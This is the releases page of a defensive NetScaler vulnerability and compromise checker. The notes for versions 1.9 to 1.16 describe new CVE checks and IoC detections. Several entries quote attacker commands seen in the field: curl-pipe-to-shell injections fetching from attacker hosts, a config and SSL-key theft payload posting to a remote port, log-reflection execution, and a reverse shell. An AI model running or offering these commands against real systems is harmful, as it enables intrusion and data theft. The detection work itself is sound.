Skip to content

Releases: ThomasPoppelgaard/netscaler-ctx697096-checker

v1.16

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 08 Oct 21:22
c36a0a5

v1.16 (8 October 2026): CVE-2026-107406 (CTX697191) – critical SAML flaw, remote code execution

🚨 New bulletin: SAML IdP appliances must upgrade again

Citrix published CTX697191 on 8 October: CVE-2026-107406, a SAML memory overflow leading to remote code execution or denial of service, CVSS 9.5 (critical). The bulletin lists no workaround.

Who is affected depends on the build:

Build | Affected when configured as -- | -- 14.1-73.37 to 73.41, 13.1-64.23 to 64.28, 14.1-FIPS 73.37 to 73.41, 13.1-FIPS/NDcPP 37.279 to 37.282 (already fixed for CTX697096 / CVE-2026-88779) | SAML IdP (add authentication samlIdPProfile) Older builds | SAML SP (add authentication samlAction) or SAML IdP

Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP. These builds contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes. Secure Private Access hybrid deployments using NetScaler are affected too.

What's new

  • New CVE-2026-107406 check on every run (also offline and with --no-ioc): [AFFECTED], verdict VULNERABLE to CVE-2026-107406 (SAML) and exit code 2 when your build and SAML config match the bulletin, also on appliances that already have the CTX697096 and CVE-2026-88779 fixes. SAML SP only on 73.37–73.41 / 64.23–64.28: not affected. Builds the bulletin does not list (14.1-73.42–73.45) with SAML: [CHECK], verify with Citrix.
  • One build for everything: all upgrade advice now points to 14.1-73.46 / 13.1-64.29 / 14.1-73.46 FIPS / 13.1-37.283 FIPS/NDcPP.
  • --summary: new field cve107406=vulnerable|fixed|n/a|unknown and verdict VULNERABLE_CVE-2026-107406.
  • IoC sweep: on a SAML IdP, injection attempts from 2 October now count as "may have run" until the CVE-2026-107406 build started running, because this one is remote code execution.
  • New indicators (community report, 8 October): an overnight wave of the same login injection (curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<key>|sh). Payload host v5v.in and IP 72.5.65.111 added – now 132 attacker IPs, 18 domains, 38 hashes. v1.15 already caught the injection itself.
  • Header and help: CTX697096 + CTX697174 + CTX697191 precondition check v1.16; --help prints the usage without the leading #.

❤️ Support this project

This tool is free and will stay free. If it saved you time, you can say thanks with a voluntary contribution — completely optional:

👉 Support netscaler-ctx697096-checker

## v1.16 (8 October 2026): CVE-2026-107406 (CTX697191) – critical SAML flaw, remote code execution

🚨 New bulletin: SAML IdP appliances must upgrade again

Citrix published [CTX697191](https://support.citrix.com/external/article/CTX697191) on 8 October: CVE-2026-107406, a SAML memory overflow leading to remote code execution or denial of service, CVSS 9.5 (critical). The bulletin lists no workaround.

Who is affected depends on the build:

Build Affected when configured as
14.1-73.37 to 73.41, 13.1-64.23 to 64.28, 14.1-FIPS 73.37 to 73.41, 13.1-FIPS/NDcPP 37.279 to 37.282 (already fixed for CTX697096 / CVE-2026-88779) SAML IdP (add authentication samlIdPProfile)
Older builds SAML SP (add authentication samlAction) or SAML IdP

Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP. These builds contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes. Secure Private Access hybrid deployments using NetScaler are affected too.

What's new

  • New CVE-2026-107406 check on every run (also offline and with --no-ioc): [AFFECTED], verdict VULNERABLE to CVE-2026-107406 (SAML) and exit code 2 when your build and SAML config match the bulletin, also on appliances that already have the CTX697096 and CVE-2026-88779 fixes. SAML SP only on 73.37–73.41 / 64.23–64.28: not affected. Builds the bulletin does not list (14.1-73.42–73.45) with SAML: [CHECK], verify with Citrix.
  • One build for everything: all upgrade advice now points to 14.1-73.46 / 13.1-64.29 / 14.1-73.46 FIPS / 13.1-37.283 FIPS/NDcPP.
  • --summary: new field cve107406=vulnerable|fixed|n/a|unknown and verdict VULNERABLE_CVE-2026-107406.
  • IoC sweep: on a SAML IdP, injection attempts from 2 October now count as "may have run" until the CVE-2026-107406 build started running, because this one is remote code execution.
  • New indicators (community report, 8 October): an overnight wave of the same login injection (curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<key>|sh). Payload host v5v.in and IP 72.5.65.111 added – now 132 attacker IPs, 18 domains, 38 hashes. v1.15 already caught the injection itself.
  • **Header and help:...
Read more

v1.15

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 08 Oct 10:45
73901bd

v1.15 (8 October 2026): WHIPSHOT / SLAPSHOT scanning, log-reflection and "NetScaler C2"

⚠️ Changed: the compromise check now runs by default

On the appliance, sh ctx697096_check.sh now always runs the IoC sweep ("was I hacked?"). Before, it needed --ioc, and a run without it ended with a green "fixed build" although the box had never been checked for compromise. A customer took exactly that as "not hacked".

  • --ioc is still accepted, so existing scripts and Console jobs keep working.
  • --no-ioc skips the sweep. The verdict then says "NOT checked for compromise", and --summary shows compromise=not_checked verdict=OK_IOC_NOT_RUN.
  • An exported config checked offline on a PC says the same: compromise can only be checked on the appliance.

WHIPSHOT / SLAPSHOT scanning (Lupovis, 5 October)

Lupovis (5 October) shows that scanning for the WHIPSHOT and SLAPSHOT webshells started before Mandiant published them. Since 4 October, a 10-step scan asks every target for randomly named webshell variants: receiver(.v2).min.<hex>.css, the same names with a g suffix (to test whether a CDN or WAF answers from its cache), receiver.deb and random 12-character .deb names, .ctxs.receiver, random *.receiver names and .slap.receiver.

Scanning is not compromise. The checker lists these requests as targeted, with the source IPs, and only reports COMPROMISED when a webshell file is on the box.

What's new

  • .deb probes: requests for receiver.deb or a random 12-character .deb in /logon/LogonPoint/custom/ are listed as webshell probing, per source IP.
  • g suffix: requests for receiver.min.<hex>g.css and receiver.v2.min.<hex>g.css now count as exploit strings. In a test set of real logs, such requests from 28 and 29 September were missed by v1.14.
  • .deb file in the theme folder = compromise: a .deb file in LogonPoint/custom or logon/themes, where SLAPSHOT keeps a webshell as receiver.deb. The theme folder never holds packages of its own.

Already covered since earlier versions: .ctxs.receiver, .slap.receiver and random *.receiver files and requests, the receiver.min.<hex>.css alias, the WHIPSHOT token from Unit 42's analysis, and the probe/1 SAML probe (Lupovis, 4 October).

Log-reflection (Lupovis, 7 October)

Two actors now hide the payload outside the login field. A GET request parks a whole shell script in the User-Agent, tagged <tag>:<script>, so it is written to /var/log/httpaccess*. The CVE-2026-88771 injection then only carries grep <tag>: /var/log/htt* | sed … | sh and runs the script from the log. Filters that inspect the login field for shell syntax never see the payload.

  • New targeted check: a plain-text shell script in a tagged User-Agent (short tag, shell syntax and a command word in one field), per source IP. Base64 forms (INDEX:, K:) were already covered.
  • /var/log/htt in an injection counts as an exploit string.
  • The two stages linked: for each tag an injection greps for, the report shows the staged requests that carry it and their source IPs.
  • Base64 variant: the second actor base64-encodes the script (<tag>:<base64>). These values are decoded, and the decoded command is shown in the report.
  • If the shell audit log shows the command ran, it is reported as COMPROMISED, as before.

Lupovis also confirms that one actor's extracted script is the config and SSL-key theft payload that v1.14 detects: ns.conf and every private key written to a random .css in LogonPoint and sent to port 8877. Whether Citrix's responder policy covers this route through the User-Agent is an open question, so do not rely on it alone: the fixed build closes the vulnerability.

"NetScaler C2" framework (SOCRadar, 7 October)

SOCRadar describes an automated framework that finds NetScalers, injects curl${IFS}-sk${IFS}45.143.130[.]195:8899/s/<id>|sh through CVE-2026-88771 and installs a small polling agent, with HTTP and DNS command channels.

  • 45.143.130.195 added as an attacker IP.
  • Agent = compromise: /tmp/.nsagent (or /var/tmp/.nsagent) on disk, or a running .nsagent process. /tmp is emptied at reboot, so run the checker before rebooting.
  • Exploit strings: the C2 paths :8899/s/, /a/, /p/, /c/, /r/, the DNS beacon .p1.oob. and nslookup${IFS}.

Huntback: ten days of decoy telemetry (7 October)

Huntback recorded 1,069 CVE-2026-88771 injection attempts from 30 sources and separates more than ten operators: OOB proving, config theft, an ns_helper implant, tunnel-fronted droppers, Perl droppers, a PHP webshell and a log-channel C2.

  • 16 more attacker IPs. Four addresses that v1.13 listed as GreyNoise scanners move to the attacker IPs, because Huntback shows them injecting commands. Several are Tor exits: on their own they only count as "targeted".
  • Domains: pinggy.net and serveousercontent.com, the tunnel services that fronted two droppers.
  • Compromise: the ns_helper implant (/var/vpn/ns_helper, /nsconfig/.ns_helper), the dropper stage /tmp/.p and any hidden .php file in the web folders (e.g. LogonPoint/custom/.x.php).
  • Canary and exploit strings: Nx_*.html next to nx_verify.html; ns_helper, free.pinggy.net, serveousercontent.com and /Nx_*.html in the logs.
  • The log-channel tags fefypa: and fdylo9: were already caught by the base64 User-Agent check.
  • Injections in the User-Agent of any request: the attack text (pitboss / unexpectedly died / NSPPE with ; or ${IFS}) is now found in every HTTP log line, also a GET to /vpn/index.html with the payload in the User-Agent. Before, only the five login pages and ns.log were searched. If a file such a request tried to write exists (including the target of cp / mv, e.g. a c88771_<ip>.txt config copy), the verdict is COMPROMISED.
  • NX_*.html and Nx_*.html canaries are matched regardless of case.

Beazley and Gotham

  • Beazley Security Labs (BSL-A1216, updated 4 October, via Gotham Technology Group): exploit-delivery servers 104.207.47.54, 104.207.46.202 and 104.207.32.77.
  • Gotham Technology Group (shared with permission): four more SLAPSHOT / WHIPSHOT kit hashes.
  • Totals: 131 attacker IPs, 17 domains, 38 hashes.

Version on screen

  • The first line of every run, and the "Done in" line, show the checker version and the indicator date, so a screenshot always shows which version ran.
  • If the copy is more than 7 days older than today, a yellow line (also with --summary) points to GitHub for a newer version: new attack techniques are added often.
  • customsnmpd reverse shell (LevelBlue THOR): LevelBlue's main.py overwrites /var/python/bin/customsnmpd with a Python reverse shell to 45.141.21.130:443. That IP in the file is reported as COMPROMISED; other code in it that connects out and hands over a shell is a [CHECK]. whoami and tar are now among the command words searched in ns.log. Everything else in LevelBlue's report was already covered.
  • Clearer "Exploitation traffic" section: a summary line says whether any webshell request found a file (e.g. "All 12 webshell request(s) were answered 404 - none of these webshell files exists on this box") and how many of the BEFORE-fix lines are only GreyNoise-tagged scanners. It stays red; the summary just tells you at a glance whether anything succeeded. Any other BEFORE-fix requests are printed right under it, and a saved report (--out, --summary) now has the full list instead of the first 40 lines.
  • IP Reputation tip, more precise: the Hardening section now also checks that the Reputation feature (and Responder or AppFw) is enabled and that the policy is bound, and shows the command for anything missing. The licence check is shown as a command: nscli -c "show ns license" | grep -i reputation.
  • Which appliance: a second header line names the appliance: Appliance: ns01 - NSIP 10.0.0.10 - config /nsconfig/ns.conf - <time>. --summary adds nsip= to the result line. Sharing a screenshot or report? Run with --hide-ip and the NSIP shows as hidden.
  • Start banner: run by hand in a terminal, the checker now starts with a small ASCII banner: "NetScaler", CVE CHECK + IoC SWEEP ("am I fixed? / was I hacked?"), version, indicator date and GitHub link. It is never part of a saved report and is skipped for --summary, --out, pipes and Console jobs. Turn it off with --no-banner.

Perl inventory and a hardening tip

  • Perl inventory ([CHECK]): Perl scripts, processes, start-up lines and perl -e / | perl shell history outside NetScaler's own files are listed for review. Another IoC scanner reported only a "Perl" finding at a customer, and nobody knew where to look. Known bad Perl (update_c08937.pl, the SLAPSHOT agent, agent.pl cron lines) stays red.
  • Hardening: a new section recommends IP Reputation when no responder/WAF policy uses it. It never changes the verdict or the exit code.

Theme folders and one more IP

  • The WHIPSHOT/SLAPSHOT scans also ask for /logon/themes/<theme>/receiver(.v2).min.<hex>[g].css, .receiver and receiver.deb (seen in the field). These are now matched as well as LogonPoint/custom.
  • 23.234.80.205 added (field report: LogonUISimple webshell-alias probes on 7 October).

Fewer false alarms

  • Saved reports no longer give a false COMPROMISED. A v1.14 report saved as /var/tmp/v114.txt was flagged as a SLAPSHOT marker and a Platypus bootstrap script, because a report quotes ind...
Read more

v1.14

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 06 Oct 21:14
a9308d3

v1.14 (6 October 2026): config and SSL-key theft payload

A payload seen in the field tries to steal the NetScaler configuration and its private keys:

  • it writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (e.g. 74tns8.css);
  • sends that file with curl --data-binary to 81.94.239[.]8:8877;
  • and then downloads the .css from the Gateway.

If it worked, the attacker has your configuration and every private key.

What's new

  • Config / key dump in a web folder = compromise. Any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is reported in red, with the advice to rotate all keys, certificates and passwords.

  • Pick-up requests. Requests for a random 6-character .css directly in /logon/LogonPoint/ are listed with source IP. 404 = the file was never written, the attempt failed. 200 = the file existed and was downloaded: reported as a compromise.

  • Attack text. curl --data-binary @<file> and :8877/ are now exploit strings. The download host and source-IP notes from v1.13 pick this payload up automatically.

  • 81.94.239.8 added as an attacker IP (field report). Totals: 106 attacker IPs, 15 domains, 34 hashes.

  • Clear verdict on compromise. When --ioc finds compromise indicators, the last line now says "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" (vulnerable build), exit code 2. Before, a fixed build only said "follow-up items", and a vulnerable build said "upgrade now", which would wipe evidence. --summary still shows the build status (status=FIXED / VULNERABLE) next to verdict=COMPROMISED.

From the community: pull requests #4 and #5 (thanks to feiglein74)

  • PHP webshells and setuid backdoors outside the known places (#4). In the field, Citrix's own IoC scan found an old webshell from the 2023 CVE-2023-3519 wave (LogonPoint/uiareas/linux/gnuplot.php) and a setuid backdoor (/var/rgroupadd) that the checker missed. Now reported as compromise:
    • any .php / .phtml under /var/netscaler/logon and /var/vpn;
    • one-line webshells that call a request parameter as a function;
    • PHP files the Apache error log shows running or that still exist, with first and last date (only-blocked scanner requests for non-existing names are listed as OK);
    • setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home, /root;
    • files an injection dropped in the web folders that were downloaded with HTTP 200.
      POST requests to PHP names count as webshell use when that file exists or ran, otherwise they are a yellow hunting lead.
  • Fewer false alarms (#5). A payload writing to a file every appliance has (e.g. /etc/httpd.conf) no longer counts as "the command ran"; new files a payload drops, also under /nsconfig, still do.

Protect yourself

Block outbound traffic from the NetScaler (NSIP / SNIP) to the internet, except what it really needs. This payload, like the f.pylrk[.]cc downloads, only works if the NetScaler can reach the attacker's server.

Run it again

sh ctx697096_check.sh --ioc --summary

Run it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.

v1.13

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 05 Oct 13:31
b159493

v1.13 (5 October 2026): CVE-2026-88779 on CISA's KEV list, new hunting checks

CISA added CVE-2026-88779 (the SAML attack, [CTX697174](https://support.citrix.com/external/article/CTX697174)) to its [Known Exploited Vulnerabilities catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) on 4 October. US federal agencies have until 7 October.

Use SAML (add authentication samlAction or add authentication samlIdPProfile)? Upgrade to 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS or 13.1-37.282 FIPS/NDcPP, also if you already upgraded for CTX697096.

What's new

  • CISA KEV in the output. A SAML appliance below the fixed build now says it is on the KEV list, and reminds you that a honeypot patched for CTX697096 ran downloaded malware (Kevin Beaumont). Citrix calls it DoS; run with --ioc anyway.
  • SAML probe hunting (thanks to Lupovis). A new [CHECK] for the User-Agent probe/1 and very long requests to /saml/login or /cgi/samlauth in the HTTP logs, with source IPs. Lupovis saw such a probe on 17 September, before CVE-2026-88779 was public. A hunting lead, not proof of exploitation.
  • Randomly named webshells (thanks to Huntback.io). The campaign also drops webshells with random names ending in .receiver in LogonPoint/custom. Any *.receiver file in the web folders is now reported as a compromise, not only .ctxs.receiver and .slap.receiver. Requests for any *.receiver file in LogonPoint count as webshell probing.
  • Five more attacker IPs (Huntback.io decoys) that sent the CVE-2026-88771 NX-CVE-OK / nx_verify.html check: 138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157 and 23.162.8.173.
  • Sliver implant files (via PitScaler.com). citrix3.bad is reported as a compromise, and so is /var/tmp/.host when it is an executable. Any other /var/tmp/.host is a [CHECK], so a harmless file never turns red on its own. The implant's hash was already checked.
  • Injection attempts: who sent them, and did they run? (idea from the GEIGER log analysis by Patrick Wagner in Manuel Winkel's (Deyda) triage script; own implementation). For each login-injection attempt the checker now shows:
    • the download hosts named in the payloads, defanged, to search in your firewall, DNS and proxy logs;
    • the likely source IP: a Client_ip field in the line, or logon requests in the HTTP access logs within 5 seconds of each attempt. A different timezone in ns.log is detected automatically;
    • whether the payload shows up in a shell command in sh.log, bash.log or CLI shell_command lines. That is reported as a compromise. An admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt.
  • Fewer false alarms on custom themes. Links alone in a theme's language files (themes/<name>/resources/*.xml) and plugins.xml are no longer red, because both hold links by design. Script tags, eval, fetch and similar are still reported.
  • Already patched? A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade.
  • Gotham Technology Group update (5 October, shared with permission). 138.199.60.5 added as an attacker IP: it sent CVE-2026-88779 crash payloads on 5 October. Requests from 138.199.60.0/24 (hosting/VPN range used throughout the SAML attack) and from four sources that probed GET /saml/login before disclosure are shown as a yellow hunting lead.
  • Fix: your own config commands are no longer attack lines. After applying a mitigation batch, ns.log audit lines such as add ns acl … -srcIP = <attacker IP> or bind policy patset … "${IFS}" were reported in red. Configuration commands are now ignored; failed NITRO/API logins still count, because the injection can sit in their user name.
  • Totals: 105 attacker IPs, 15 domains, 34 hashes.

Run it again

sh ctx697096_check.sh --ioc --summary

Run it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.

v1.12

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 04 Oct 10:07
87f3c18

v1.12 (4 October 2026): CVE-2026-88779, the SAML attack now has a fix

Citrix published CVE-2026-88779 ([CTX697174](https://support.citrix.com/external/article/CTX697174), CVSS 8.7) on 3 October, in a separate bulletin: it is not part of CTX697096. It is the SAML attack that has been crashing NetScalers on the CTX697096-fixed builds since 2 October.

You are affected if your config has add authentication samlAction (SAML SP) or add authentication samlIdPProfile (SAML IdP).

Fixed builds: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP. If you already upgraded for CTX697096 and use SAML, you must upgrade again.

Until you can upgrade, Citrix offers two interim mitigations:

  • Global Deny List signatures through NetScaler Console. This needs Virtual patching enabled and signatures v24 or later, and only works on 14.1-73.37 up to 73.41 and on 13.1-64.23 up to 64.28.
  • The responder policy from Citrix Support.

⚠️ What changes in your results

  • SAML boxes on 73.37 / 64.24 now show VULNERABLE to CVE-2026-88779 (SAML) with exit code 2, even though the CTX697096 fixes are in place.
  • The --summary line has a new field, cve88779=vulnerable|fixed|n/a|unknown, and a new verdict, VULNERABLE_CVE-2026-88779. status= still shows the CTX697096 status.
  • The CVE-2026-88779 check runs on every run, also without --ioc and against an exported ns.conf.

SAML mitigation coverage per vserver

  • The SAML policy must be bound -type AAA_REQUEST on every Gateway and AAA vserver. The checker lists the vservers that are not covered.
  • It warns about -type REQUEST bindings, because they never see sign-in traffic.
  • A global binding no longer counts as coverage.
  • Policies are recognised by their rule, also when the rule sits in a named add policy expression (a reader's tip) or covers the IdP endpoint /saml/login.
  • On a fixed build, bound interim policies are reported as no longer needed.
  • Global Deny List is not visible in ns.conf, so the output gives the command to check it.

"May have run" now ends with the fix

  • Injection attempts from 2 October are reported as "may have run" only until the CVE-2026-88779 build started running. Later attempts count as targeted only.
  • If you went from 73.37 to 73.41, the CTX697096 fix date now comes from the oldest fixed kernel still in /flash. That way, September attack lines are not wrongly marked [BEFORE fix].

New indicators (via Gotham Technology Group, from public sources)

  • 14 more hashes: the /v script of the 2 October attack, SAML-attack kit generations 2 and 3, the chisel tunnel, Sliver implants and a Perl payload. They are also checked in /nsconfig/.slap.
  • SAML-attack kit (reported as compromise): the upload staging files loot_* and agent.pl cron lines.
  • Daily-check script: manual ns_monuploadd_err.pl -WR runs (CISA Sigma rule), and the vulnerable copy of ns_monuploadd_err.pl on a fixed build.
  • Attack text: chmod 6555 and nsshutdown -R.
  • Beazley Security second wave: 51.158.203.95, 185.244.213.112 and 158.94.211.205. Plus webhook.site, dnshook.site and three hunting leads.
  • Removed pyrlnk.cc: an unregistered misspelling of the payload host pylrk.cc (WHOIS, DNS and CT logs show only pylrk.cc). Block f.pylrk[.]cc / *.pylrk[.]cc. Thanks to Emil Ståhl (PitScaler.com), [issue #3](#3).
  • Totals: 99 attacker IPs, 15 domains, 34 hashes.

Fixes from pull request #1 (thanks to feiglein74)

  • Attacker IPs match on address boundaries: 78.128.113.10 no longer matches 78.128.113.101.
  • Log lines without a readable date keep the targeted result red, because they could be from before the fix.
  • Syslog dates in the future are moved to the previous year (December logs read in January).
  • AddType application/x-httpd-php .php .deb is caught: every extension on the line is checked.
  • Web files written during the upgrade window are still checked for strong webshell signs.
  • The "rewritten together" grouping only counts web files, so other files can't hide a lone web file in a burst.
  • URLs alone in homeconfig.xml are no longer flagged; it holds URLs by design.
  • New IP 159.203.33.46.

Also

Run it again

sh ctx697096_check.sh --ioc --summary

Run it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.

v1.11

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 03 Oct 13:13

v1.11 (3 October 2026): commands run again on fixed builds, Citrix's new responder policy, SAML status, plus indicators from Gotham Technology Group, Unit 42 and Rapid7

⚠️ Commands run again on fixed builds (since 2 October)

Late on 2 October, Kevin Beaumont reported that one of his patched honeypots ran a downloaded malware binary, and that the fix for the pitboss log injection looks bypassable. Citrix calls it a new zero-day, separate from CTX697096, with a bulletin and fixed builds planned.

Up to v1.10 the checker said that injection attempts after the fix "cannot run commands on this build". That is no longer true from 2 October on. v1.11:

  • reports injection lines dated 2 October or later as [SUSPECT] ("may have run"); attempts after the fix and before 2 October keep the after-fix wording
  • reads the files the injected commands tried to write from the log lines (hostname>/path, fetch -qo /v, curl -o /path, with ${IFS} decoded) and reports them as compromise if they exist
  • recognises the full crash-and-reboot sequence: nsaaad unexpectedly died due to receiving signal, proc nsaaad … SIGNALED/EXITED, maximum number of restarts, Pitboss declaring system failure, All monitored processes have exited, rebooting
  • adds the download domain pyrlnk.cc (14 domains)
  • --summary: targeted=yes,N_since_2oct_may_have_run and the new verdict TARGETED_SINCE_2OCT

Citrix's new responder policy (3 October)

Citrix released a new responder policy against the SAML attack on 3 October, and with the new configuration it appears to work. Ask Citrix Support for it (customers and partners). If you applied an earlier workaround, ask to have it replaced. It is a mitigation, not a fix: upgrade when the new bulletin and builds are out.

v1.11 recognises a bound SAML mitigation policy by what it does (any responder policy on samlauth or doAuthentication bound to a Gateway/AAA vserver or globally), so Citrix's new policy is recognised whatever it is called. Only the policy names are shown, never the rule. If such a policy is bound but the Responder feature is off, a new [CHECK] says the policy is ignored and how to enable it.

The new SAML issue: following Citrix's guidance

Since 2 October, crafted SAML requests crash the authentication daemon nsaaad, also on appliances with the CTX697096 fixes. After repeated crashes the appliance restarts, then its HA peer. Citrix has now confirmed in its [guidance for NetScaler SAML authentication deployments](https://community.citrix.com/techzone-blogs/110_security-updates/security-update-guidance-for-netscaler-saml-authentication-deployments/) that this is a new issue, separate from CTX697096, with a security bulletin and fixed builds planned. An appliance is affected when its config has add authentication samlAction (NetScaler as SAML Service Provider) or add authentication samlIdPProfile (NetScaler as SAML Identity Provider).

v1.10 only said something when it found crashes, and only looked at samlAction. v1.11 counts both and always prints the status:

  • [OK] No nsaaad crashes found (samlAction=0 samlIdPProfile=0 - the SAML issue Citrix announced on 2 Oct does not apply)
  • [CHECK] SAML configured (samlAction=1 samlIdPProfile=0) - affected by the new SAML issue; no nsaaad crashes found, interim workaround NOT bound (or bound), with a link to Citrix's guidance
  • With a SAML IdP profile, an extra note: Citrix Support's interim workaround only matches /cgi/samlauth (the SP endpoint), so ask Citrix Support about IdP protection
  • [CHECK] Authentication daemon nsaaad crashed (…) with the core files and crash lines: contact Citrix Support

Appliances with SAML get verdict FOLLOW_UP until Citrix's fixed builds are out; a later version will recognise them. The --summary result line has a new field saml=sp|idp|sp+idp|none, so you can see at a glance which of your appliances are affected.

Crash detection now also matches NetScaler's own proc nsaaad … EXITED and monitored processes have exited lines in /var/log/messages (pattern from Gotham Technology Group's advisory), plus proc nsaaad … SIGNALED and maximum number of restarts (community detection). Both Citrix Support's pol_samlauth_prefixlist_block and the stricter community pol_samlauth_block_v2 are recognised as the interim workaround.

New indicators

Thanks to Gotham Technology Group for sharing their incident-response indicators and advisory with permission, and to Unit 42 and Rapid7.

  • 95 attacker IPs (was 58): Unit 42's 1 October update, Rapid7, two addresses shared in the NetScaler community, and Gotham's incident-response list. 32 lower-confidence probe senders were added to the scanner group. Cloudflare and carrier-NAT addresses are left out.
  • 14 domains (was 9): pylrk.cc and pyrlnk.cc (download servers seen in attempts on 2 October), oast.fun, dnsl.cc, gs.thc.org.
  • Files, reported as compromise: x.sh in /, /tmp, /var/tmp; the stolen-config archive vpn/c in the Gateway web folders; /var/netscaler/.ns_suidcmd; leftovers of the 2020 NOTROBIN backdoor (/var/nstmp/.nscache, /tmp/.init, changed portal templates, [% in bookmarks).
  • Logs:
    • /vpn/c requests. HTTP 200 is reported as compromise: the configuration archive (ns.conf with keys) was likely downloaded.
    • Web requests to /nsconmsg: it's a CLI tool, never a web path.
    • A base64 payload staged in a K:<base64># User-Agent (1 October variant without the pitboss marker). The base64 is removed from the output.
    • /download/x.sh and the fake Team-NetScaler-Inventory user agent.
    • Failed logins from four password-spray sources.

These new log checks share one pass over the logs: 38 s instead of 34 s on 255 MB of test logs.

Run it again

If you ran v1.10, run v1.11 too: the last line now says Checked 95 attacker IPs, 14 domains, 20 hashes and all public indicators up to 3 Oct 2026. On an HA pair, run it on both nodes.

As always: read-only, nothing is changed and nothing is sent anywhere. Use it together with the official Citrix IoC scan.

v1.10

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 02 Oct 15:31
6d6e318

v1.10: fixes the --ioc hang, much faster, --summary for NetScaler Console, --days, local system user and generic webshell checks, plus LevelBlue, TENEX, Wiz and Deyda checks

Fix: v1.9 could hang with --ioc

Thanks to the community members who reported this on MPX and VPX appliances! There were two causes:

1. A real hang (any appliance). The SLAPSHOT check added in v1.9 searched all of /tmp with grep -r. NetScaler keeps named pipes there (.nscli_pipe, .nsconfigd_pipe, pitboss.debug and others) for its own services. FreeBSD's grep reads them and waits forever, so the run stopped right after the ns.log checks. v1.10 only reads regular files (under 20 MB) in /tmp and /var/tmp, and there is no recursive grep left in the script. Linux grep skips named pipes, which is why this didn't show up in testing; v1.10 is now also tested with a FreeBSD-style grep.

2. Very slow on large logs. v1.9 searched all logs once for every attacker IP: 42 full passes, unpacking every rotated .gzlog each time. On appliances with large logs this ran at 100% management CPU for many minutes, and because the screen only updates when a section finishes, it looked like it had stopped.

v1.10 finds all known IPs and domains in one pass over the logs and splits the result afterwards. The scanner-IP, pitbossand login-page checks now do a fast fixed-string search first and run the full pattern only on the lines that matched. The results are identical: tested on eight test setups, including logs from a real attacked appliance. On 255 MB of test logs:

Version | Time -- | -- v1.8 | 66 s v1.9 | 153 s v1.10 | 31 s

3. Faster on every appliance. The web-file check started a new perl and awk for every changed web file, and the hash checks started sha256 once per file. On FreeBSD, starting a process is expensive, so a lab VPX with a few thousand web files took about 40 seconds. Both now do the work in one process. On a test setup with 3,000 web files, a run takes 5 seconds instead of 20, with identical results. The summary of VPN requests from non-Receiver clients used a sed pattern that FreeBSD runs very slowly on long log lines: 7.8 seconds for 4,300 lines on a real appliance. It now uses perl, with identical output.

4. You can see what it's doing. Before the IoC sweep, the output says:

  • that the checker is read-only: nothing on the appliance is changed, and nothing is sent anywhere
  • how many log files and MB it will search
  • the expected run time

While it runs, progress lines [1/6] … [6/6] show the elapsed time, so you can see it's moving and which step is slow. They're shown on screen only: not in the report, and not in a NetScaler Console job. At the end:

Done in 19s (expected 10s-20s). Checked 58 attacker IPs, 9 domains, 20 hashes and all public indicators up to 2 Oct 2026.

Read more

v1.9

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 01 Oct 15:22
b03fde1

v1.9: every public indicator since v1.8 (PitScaler, Beazley, watchTowr, Arctic Wolf, Unit 42, Elastic, Deyda)

This release adds all the public indicators published since v1.8, and fixes a display bug where a matched log line could show up empty. Thanks to [PitScaler.com](https://pitscaler.com) and its original sources (Truesec, eSentire, IFIN, Corelight, Lupovis, Beazley Security, GreyNoise, Google GTIG/Mandiant), [Beazley Security](https://labs.beazley.security/advisories/BSL-A1216), [watchTowr](https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772), [Arctic Wolf](https://github.com/rtkwlf/wolf-tools/tree/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771), [Unit 42](https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/), [Elastic](https://github.com/elastic/detection-rules/blob/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml), Manuel Winkel's [Deyda triage script v9.28](https://github.com/Deyda/Security/blob/main/deyda-netscaler-ioc-check.sh), and the community member who reported the empty line!

If you ran an earlier version, run v1.9 again with --ioc.

Fix: a matched log line could show as empty

A report showed known exploitation IP 64.94.85.67 (1 line(s)): with nothing underneath. The line was real, but it contained binary or terminal-control bytes. ns.log often has them, and attackers can inject escape codes, which can blank out a line on screen.

v1.9 reads every log as text even when it contains binary bytes. Non-printable bytes are shown as ., and the line is labelled "(line contains binary data)". Counts and the red/yellow decision are unchanged.

An IP hit only means that address reached your NetScaler. Whether it succeeded is judged by the COMPROMISE section.

Compromise: a command ran on this box (red)

  • The nsmon.pl Perl implant (Arctic Wolf): the hidden folder /var/tmp/.nsmon with .cfg, .state and nsmon.pl; nsmon in /etc/crontab, /nsconfig/crontab or any user crontab (it runs Perl as root every 5 minutes); a running nsmon process, or Perl listening on a TCP port between 41000 and 41999. Plus /var/tmp/.s.
